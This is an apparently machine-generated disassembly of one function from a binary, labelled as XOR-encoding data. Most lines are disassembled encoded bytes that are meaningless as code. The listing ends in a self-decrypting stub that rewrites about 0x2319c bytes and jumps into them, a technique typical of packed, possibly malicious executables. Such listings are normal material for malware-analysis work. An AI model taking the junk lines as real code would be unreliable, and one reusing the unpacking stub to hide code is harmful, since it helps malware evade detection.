Function at 0x40f3eb
Capabilities:
Encode data using xor

Disassembly:
pushal
and byte [ebx], ch
and dword [ebp - 0x6b275cc9], edx
and byte [eax + 0x20], ah
xchg esi, eax
push ebx
jmp 0x2049988b
bound esp, qword [eax]
jbe 0x40f01d
and byte [ebp + 0x1f2e95e0], ah
jo 0x40f0bb
xor eax, 0x206270b8
or dword [ecx + 0x66ab2020], ecx
xor byte [ecx + 0x66ab0065], ch
and al, 0xa9
stosd dword es:[edi], eax
and al, 0xa9
cld
stosd dword es:[edi], eax
sub byte [ecx - 0x6154079b], ch
sub al, 0xa1
pop es
pop ds
lahf
mov eax, dword [0x209f1f07]
and byte [eax], ah
pop ds
and byte [edi], bl
jo 0x40f0e4
xor eax, 0x206270b8
stosd dword es:[edi], eax
xchg ebp, eax
add byte [ebx + 0x2694221e], ah
mov eax, dword [0x20a020ef]
and byte [ebx - 0x1e540393], ch
loope 0x40f0df
stosd dword es:[edi], eax
loope 0x40f0bf
add byte [eax], ch
stosd dword es:[edi], eax
jne 0x40f0db
sub byte [ebx - 0x1ddc078b], ch
and esp, edx
loop 0x40f08f
test eax, 0x632d3455
and bl, al
cmp al, 0x2d
arpl word [eax], sp
test eax, 0x632d402d
and byte [ecx + 0x632d4435], ch
and byte [ecx + 0x632d385d], ch
and byte [eax], cl
adc eax, 0xa91f1f1e
add byte gs:[ebx - 5], dl
arpl word [ebx + 8], si
add byte [ebx + 0x20], dh
and byte [ecx - 0x5b], bh
loopne 0x40f0ac
push ebp
xor al, 0x2d
arpl word [eax], sp
ret
sub byte [edx + 0x1ed9083c], cl
pop ds
pop ds
jns 0x40f129
fcom dword [ebp + 0x20]
and byte [ebp - 0x75d76a20], ah
xor byte [eax], cl
enter 0x1f1e, 0x1f
mov dh, byte [eax]
or al, cl
push ds
pop ds
pop ds
jns 0x40f13a
jl 0x40f0c0
and byte [eax], ah
test eax, 0x8a081c7d
insd dword es:[edi], dx
and byte [eax], ah
movsd dword es:[edi], dword [esi]
loopne 0x40f0de
mov ch, byte [ebp + 0x20]
and byte [ebp - 0x75d76220], ah
cmp ecx, dword [eax]
xchg dword [0x1f792020], esp
sub byte [edx + 0x2587083b], cl
and byte [eax], ah
jns 0x40f16a
xor eax, 0x206270c8
ret
or byte [ecx + 0x25], ah
and byte [eax], ah
jns 0x40f179
fadd qword [edi - 0x1f5adfe0]
popfd
sub byte [edx + 0x25500829], cl
mov ch, byte [ecx]
or byte [eax + 0x25], dl
and byte [eax], ah
jns 0x40f1f5
or byte [ebp + 0x26], ah
and byte [eax], ah
jns 0x40f12e
loopne 0x40f11f
xchg esp, eax
daa
jo 0x40f196
and eax, 0x8792020
pop esp
xchg dword [eax], esp
and byte [ebp + edi*2 + 0x2f2694dc], ah
and byte [eax], ah
movsb byte es:[edi], byte [esi]
jge 0x40f177
xchg esp, eax
das
xlatb
insd dword es:[edi], dx
loopne 0x40f1ad
and ecx, dword [edx + 0x7071792a]
mov ah, byte [eax]
mov byte [eax], ah
and byte [eax + 0x20], ah
or byte [edx], bl
inc ecx
and dword [eax], esp
pushal
and byte [eax], cl
sbb al, byte [ecx + 0x21]
and byte [ecx - 0x625cfb9b], ch
test eax, 0x9da30465
add byte [eax], ah
xchg ebp, eax
jo 0x40f1c7
mov dword [edi], esp
and byte [eax], ah
or byte [esi + 0xb202027], ah
and byte [ebx], cl
dec esi
stosd dword es:[edi], eax
or al, 0xab
sub byte [ebx - 0xb9256d7], ch
jo 0x40f247
or byte [edx + 0x79202085], ch
jns 0x40f1c1
test dword [eax], esp
and byte [ecx + 0x79], bh
jecxz 0x40f18a
stosd dword es:[edi], eax
test dword [eax], ecx
stosd dword es:[edi], eax
hlt
daa
and byte [eax], ah
out 0x65, eax
sbb al, 0x1e
pop ds
pop ds
pop ds
stosd dword es:[edi], eax
add al, 0xb
xor edx, dword [ebx - 0x20]
pushal
jecxz 0x40f1b4
test dword [eax], ecx
out 0x65, eax
sbb al, 0x1e
pop ds
pop ds
pop ds
fcomp dword [edi]
and byte [eax], ah
and byte [eax], cl
test dword [ebx + 0x20], eax
and bl, ah
or al, bl
mov esp, dword [eax]
and byte [ecx], cl
push ds
pop ds
pop ds
jne 0x40f1d4
or al, 0x71
jae 0x40f1d8
sub al, 0xa3
loopne 0x40f25e
test eax, 0xab841c65
cmp eax, 0x20202020
stosd dword es:[edi], eax
and eax, dword [ebx + eax*8 + 0x20202020]
stosd dword es:[edi], eax
sub byte gs:[ebx - 0x7254d383], ch
sbb al, 0xab
stosd dword es:[edi], eax
jge 0x40f276
stosd dword es:[edi], eax
lea ebx, [ebx + ebp*4]
sbb dword [edi + ebx], 0
jnp 0x40f23d
loop 0x40f27e
and byte [eax + 0x79], bh
cmpsd dword [esi], dword es:[edi]
and al, 0x44
pop ds
add byte [ebp - 0x55], dh
jne 0x40f20b
or al, 0x71
jno 0x40f2d7
jbe 0x40f2dd
test byte [ebx + 0x20202055], ch
and byte [ecx + 0x65e71c95], ch
sbb byte [edi - 0x75df9fee], ah
and byte [edi], bl
xchg ebp, eax
sub al, 0x1f
and byte [edx + 0x2c951f20], cl
pop ds
xchg ebp, eax
sbb byte [edi], bl
xchg ebp, eax
sub byte [eax], cl
cdq
cmp esp, dword [ecx]
and byte [ebx + 0x60ab2c65], ch
pushal
and al, 0xa3
add byte [0xa92c6dab], bl
popal
and al, 0x84
stosd dword es:[edi], eax
pop ebp
and byte [eax], ah
and byte [eax], ah
stosd dword es:[edi], eax
jge 0x40f2bc
test byte [ebx + 0x2020205d], ch
and byte [ebx + 0x5ba91c7d], ch
test byte [ecx + 0x2020203d], ch
and byte [edi + 0x7e], bh
test eax, 0x3da9845b
and byte [eax], ah
and byte [eax], ah
jg 0x40f329
jnp 0x40f296
loop 0x40f2d7
and byte [ebp - 0x55], dh
or al, 0xa3
or al, 0x28
jae 0x40f32e
ja 0x40f2d6
test eax, 0xe0531c65
sbb al, 0x53
loopne 0x40f330
jo 0x40f331
jo 0x40f332
jo 0x40f2e2
pop ds
xchg ebp, eax
sbb al, 0x1f
xchg ebp, eax
xor al, 0x1f
xchg ebp, eax
xor byte [edi], bl
xchg ebp, eax
sub al, 0x1f
xchg ebp, eax
sub byte [eax], cl
pop esi
xchg edi, eax
and byte [eax], ah
mov dword [0x65a940e4], eax
sbb byte [edi + 0x7e], bh
in al, 0x40
test eax, 0x7e7f1865
jle 0x40f35a
jnp 0x40f28b
stosd dword es:[edi], eax
sbb byte gs:[ebx + 0x76e37d05], ch
sbb al, 0xab
stosd dword es:[edi], eax
add eax, 0x1c76e37d
stosd dword es:[edi], eax
xchg esp, eax
inc esp
sub al, 0xab
outsb dx, byte [esi]
sub byte [ebx - 0x12], dl
or byte [esi + 0x11], bh
pop ds
pop ds
mov ah, byte [eax]
jbe 0x40f319
and byte [esi + 0x1f], dh
xchg esi, eax
xor al, 0x1f
xchg esi, eax
sub al, 0x8a
and byte [edi], bl
xchg esp, eax
inc esp
inc esp
pop ds
xchg esi, eax
xor byte [edi], bl
xchg esp, eax
inc esp
inc esp
or byte [ebx], ah
xchg edi, eax
and byte [eax], ah
mov dword [0xe37e40e4], eax
jne 0x40f2c3
or al, 0xa3
or al, 0x58
jae 0x40f2bf
mov dword [0xa173580c], eax
popfd
sub byte [ebx + 0x21], al
and byte [eax], ah
xchg ebp, eax
xor bl, al
fist word [ebx]
pushal
and byte [ebx + 0x21a92c6d], ch
test eax, 0x60e05321
push ebx
loopne 0x40f393
pushal
or eax, edx
and byte [eax], ah
and byte [ebx - 0x18df077b], ah
cld
or edx, dword [ebx]
pushal
and cl, al
sbb bl, bh
bound esp, qword [eax]
lodsd eax, dword [esi]
insd dword es:[edi], dx
clc
push ebx
loope 0x40f2f7
add byte gs:[ebx + 0x65a93865], ch
add al, 0xab
sub al, 0xa9
or byte gs:[ebx + 0x65a93c65], ch
or al, 0xab
cmp al, 0xa9
or al, 0xab
inc eax
test eax, 0x85a31065
adc al, 0x20
mov dword [0xa3201885], eax
test dword [eax], ebx
test eax, 0x8da91485
sbb byte [ecx + eax*8 + 0x20202020], al
test eax, 0x65adf865
clc
test bl, al
and byte [eax], ah
and byte [eax], ah
out 0x65, eax
call 0x206113b4
stosd dword es:[edi], eax
sub byte gs:[ecx + 0x65abec65], ch
xor byte [ecx + 0x2008f065], ch
push edx
and byte [eax], ah
stosd dword es:[edi], eax
mov al, byte [0x202020a0]
test eax, 0x65adf465
in al, dx
lodsd eax, dword [esi]
in al, dx
jo 0x40f35d
sub byte gs:[edi], bl
push eax
pop ds
jne 0x40f3ad
jns 0x40f434
mov dword [0xa320e885], eax
popfd
sbb al, 0x20
xchg esp, eax
aaa
test byte [ebx + 0x2020203d], ch
and byte [ebx - 0x78254dd], ch
test eax, 0x3da98423
and byte [eax], ah
and byte [eax], ah
or ebp, dword [ecx]
stosd dword es:[edi], eax
clc
test bl, al
and byte [eax], ah
and byte [eax], ah
stosd dword es:[edi], eax
call 0x7624dd67
stosd dword es:[edi], eax
or al, 0x71
jae 0x40f40d
sbb al, 0xab
stosd dword es:[edi], eax
sub al, 0xab
push 0x2c6d5328
or byte [ebp + 0x10], dh
pop ds
pop ds
stosd dword es:[edi], eax
sub byte gs:[ebx + 0xa32460], ch
xchg byte [ecx + esi - 0x18d39a55], dl
pushal
out 0x60, eax
inc esp
and dword [eax], esp
and byte [eax], ah
push ebx
loopne 0x40f477
or ecx, dword [ebx + ecx - 0x54de7576]
sub al, 0x1f
nop
cmp byte [ebx - 0x6fe0d39b], ch
xor al, 0xab
sub al, 0x1f
nop
sub al, 0x8a
and byte [edi], bl
xchg ebp, eax
xor byte [ebx - 0x6fe0d39b], ch
stosd dword es:[edi], eax
sub al, 0x1f
nop
xor byte [edi], bl
xchg ebp, eax
sub byte [eax], cl
xchg ebp, eax
and byte [eax], ah
mov dword [0x65ab40e4], eax
sub al, 0xa3
cwde
inc esp
and byte [ebp + 0x28951f2b], dl
pop ds
xchg ebp, eax
sub al, 8
and eax, 0x8a1f1f1e
and byte [edx - 0x75df75e0], cl
and byte [edx + 0x1c65ad20], cl
jo 0x40f3f0
inc ebx
and dword [eax], esp
and byte [eax], cl
lds ebx, [esi]
pop ds
pop ds
mov dword [0x65ab3ce4], eax
sbb al, 0xab
stosd dword es:[edi], eax
jge 0x40f4a6
stosd dword es:[edi], eax
cmp dword [ebx + ebp*4], 0xffffff8b
inc eax
pop ds
add byte [ebx - 0x20], dl
pushal
jnp 0x40f470
jecxz 0x40f4fe
stosd dword es:[edi], eax
or al, 0x71
jae 0x40f504
ja 0x40f43b
popfd
sub byte [ebx - 0x6854cf99], ch
sub al, 0xa9
sbb al, 0xab
dec byte [ebx]
dec ebp
mov dword [0x25951f1e], eax
or byte [ebx - 0x54dfdf6a], bh
xchg esi, eax
and byte [eax], ah
stosd dword es:[edi], eax
insd dword es:[edi], dx
sbb al, 0x6e
stosd dword es:[edi], eax
out 0x8b, al
loopne 0x40f4e6
and esp, ecx
stosd dword es:[edi], eax
insd dword es:[edi], dx
xor byte [ecx + 0x68], bl
and al, 0x9d
and eax, 0x9e28685b
and eax, 0x951f1ea3
sub dword [edi], ebx
insd dword es:[edi], dx
sub al, 0xab
jge 0x40f4f4
test eax, 0x9da32895
sub al, 0x20
popfd
ljmp 0x50a9
xchg edi, eax
and al, 0x5b
adc edx, dword [esi - 0x6989f7db]
and byte [eax], ah
stosd dword es:[edi], eax
out 0x8b, al
loopne 0x40f527
and esp, dword [ebp + 0x1c]
jg 0x40f576
sbb al, 0x7f
jle 0x40f574
jnp 0x40f4e3
jmp 0x44a5a0e1
jecxz 0x40f4a7
inc esp
sub byte [esi - 0x55], dh
xchg esp, eax
inc esp
sub byte [ecx + 0x50b90826], ch
test eax, 0x50b90826
and byte [eax], ah
stosd dword es:[edi], eax
mov al, byte [0x202020b8]
test eax, 0xab082466
push eax
and byte [eax], ah
test eax, 0x2020b8d0
and byte [ebx + 0x8e37ee6], ch
out 0x7e, al
jecxz 0x40f52c
pushfd
push eax
and byte [eax], ah
stosd dword es:[edi], eax
mov al, byte [0x202020b8]
and byte [ebx + 0x2020b8a0], ch
and byte [ebx], cl
sub ebp, dword [ebx + 0x446c5b28]
and byte [eax], ah
or ebp, dword [ebx]
stosd dword es:[edi], eax
sub byte [ebx + 0x6c], bl
inc esp
and al, 0x94
sub dword [ebx - 0x1f5adba0], ebp
xchg ebp, eax
adc dword [eax - 0x1d], esp
push ebx
loopne 0x40f527
jbe 0x40f54e
jp 0x40f598
and byte [eax], ah
stosd dword es:[edi], eax
xchg esp, eax
inc esp
sub byte [ebx - 0x30], bl
mov eax, 0x95202020
pop ebx
sar byte [eax - 0x6adfdfe0], 1
xchg dword [eax + 0x20205069], eax
stosd dword es:[edi], eax
outsb dx, byte [esi]
and al, 0xa9
test al, 0xb8
and byte [eax], ah
and byte [esi - 0x1d], bh
or byte [ecx + 0x50], bl
and byte [eax], ah
stosd dword es:[edi], eax
mov al, byte [0x202020b8]
or ebp, dword [ecx]
stosd dword es:[edi], eax
push 0x94115b24
stosd dword es:[edi], eax
loope 0x40f520
pop ebx
adc dword [esi + ebp - 0x675c1e55], edx
cwde
and al, 0x20
xchg ebp, eax
adc dword [esi + 9], edi
fcom qword [ebp + 0x6eab2020]
and al, 0xa9
push 0x75e37e24
stosd dword es:[edi], eax
or al, 0xa3
or al, 0x38
rcr dword [eax], 0xfb
sti
bound esp, qword [eax]
mov dword [0xad200885], eax
insd dword es:[edi], dx
or byte [ebx - 0x1f], dl
stosd dword es:[edi], eax
insd dword es:[edi], dx
sub byte [ecx + 0x65ab1065], ch
sub al, 0xa9
adc al, 0xab
xor al, 0x60
out 0x65, eax
or al, 6
adc ah, byte [eax + 0x20]
test eax, 0x65a9186d
sbb al, 0x84
shl dword [eax], 0x20
and byte [eax], ah
test eax, 0x65ad0865
or byte [ebx + eax*8 + 0x20202020], al
pop ds
xchg ebp, eax
cmp byte [ecx + 0x1f], dh
jno 0x40f5f7
xchg ebp, eax
xor byte [eax], cl
rcl dword [ebp - 0x1754dfe0]
stosd dword es:[edi], eax
or byte gs:[ebx + eax*8 + 0x20202020], al
stosd dword es:[edi], eax
loope 0x40f5d6
jecxz 0x40f65f
test byte [edi], bl
push ebp
and byte [eax], ah
and byte [eax], ah
lodsd eax, dword [esi]
inc esp
sub al, 0x4b
test byte [esp + ebp + 0x73], al
jbe 0x40f678
test eax, 0xc108ab48
sbb bl, bh
bound esp, qword [eax]
push ebx
in eax, 0x70
pop ds
xchg ebp, eax
sbb al, 0xe7
sbb al, 0x1f
pop ds
pop ds
pop ds
lodsd eax, dword [esi]
adc al, 0x84
ret
sbb bl, bh
bound esp, qword [eax]
push ebx
in eax, 0x70
test eax, 0x951f1085
sbb al, 0xe7
sbb al, 0x1f
sbb al, 0x1f
pop ds
pop ds
pop ds
lodsd eax, dword [esi]
adc al, 0x84
ret
lodsd eax, dword [esi]
inc esp
sub al, 0x4b
test byte [esp + ebp + 0x73], al
jbe 0x40f6e1
test eax, 0xc108ab48
sbb bl, bh
bound esp, qword [eax]
push ebx
in eax, 0x70
test eax, 0x951f1065
adc byte [edi], bl
xchg ebp, eax
sbb al, 0xe7
sbb al, 0x1f
pop ds
pop ds
pop ds
lodsd eax, dword [esi]
adc al, 0x84
ret
test bl, al
and byte [eax], ah
and byte [eax], ah
jecxz 0x40f639
insd dword es:[edi], dx
adc al, 0x84
test eax, 0x2020202d
and byte [ecx + 0x7f], bh
jg 0x40f719
jnp 0x40f648
add eax, 0xabe3717d
insd dword es:[edi], dx
adc byte [ebx - 0x13], dl
or cl, cl
or eax, 0xfd091f1f
pop ds
pop ds
pop ds
or byte [edx], ch
jge 0x40f6d4
and byte [edi], bl
xchg esp, eax
inc esp
and al, 8
cmp dword [ebx + 0x20], 0xa4551f20
push ebp
movsb byte es:[edi], byte [esi]
cli
bound esp, qword [eax]
or cl, dh
dec esp
and byte [eax], ah
mov byte [edi], bl
and byte [eax], ah
and byte [edi], bl
pop ds
invalid
mov ah, ah
mov word [edx + 0x20], fs
pop ds
xor eax, 0x2062722c
movsd dword es:[edi], dword [esi]
loopne 0x40f676
xchg esp, eax
mov ah, dl
mov word [edx + 0x20], fs
jo 0x40f709
xor eax, 0x20627230
movsd dword es:[edi], dword [esi]
loopne 0x40f686
pop ds
xchg esp, eax
inc esp
and al, 0x1f
invalid
xchg esp, eax
inc esp
and al, 8
int1
pop ds
pop ds
pop ds
jns 0x40f724
pop ds
xchg esp, eax
inc esp
and al, 0x1f
xor eax, 0x206270d8
in al, dx
mov ch, byte [eax]
or ch, cl
outsd dx, dword [esi]
and byte [eax], ah
jns 0x40f6fb
mov ch, byte [eax]
or ah, ch
sub byte [eax], cl
in al, dx
outsb dx, byte [esi]
and byte [eax], ah
jns 0x40f704
jbe 0x40f6ce
adc byte [ebx], cl
sub ebp, dword [ebx - 0x6b1f5ada]
or ebp, dword [ebx]
stosd dword es:[edi], eax
movsd dword es:[edi], dword es:[esi]
loopne 0x40f6bf
and bl, byte [edi]
invalid
pushal
mov ecx, 0x2319c
mov bh, byte [ecx + 0x400fff]
add bh, 0xf
sub bh, 0x2f
mov byte [ecx + 0x400fff], bh
loop 0x4241a1
popal
jmp 0x40f21d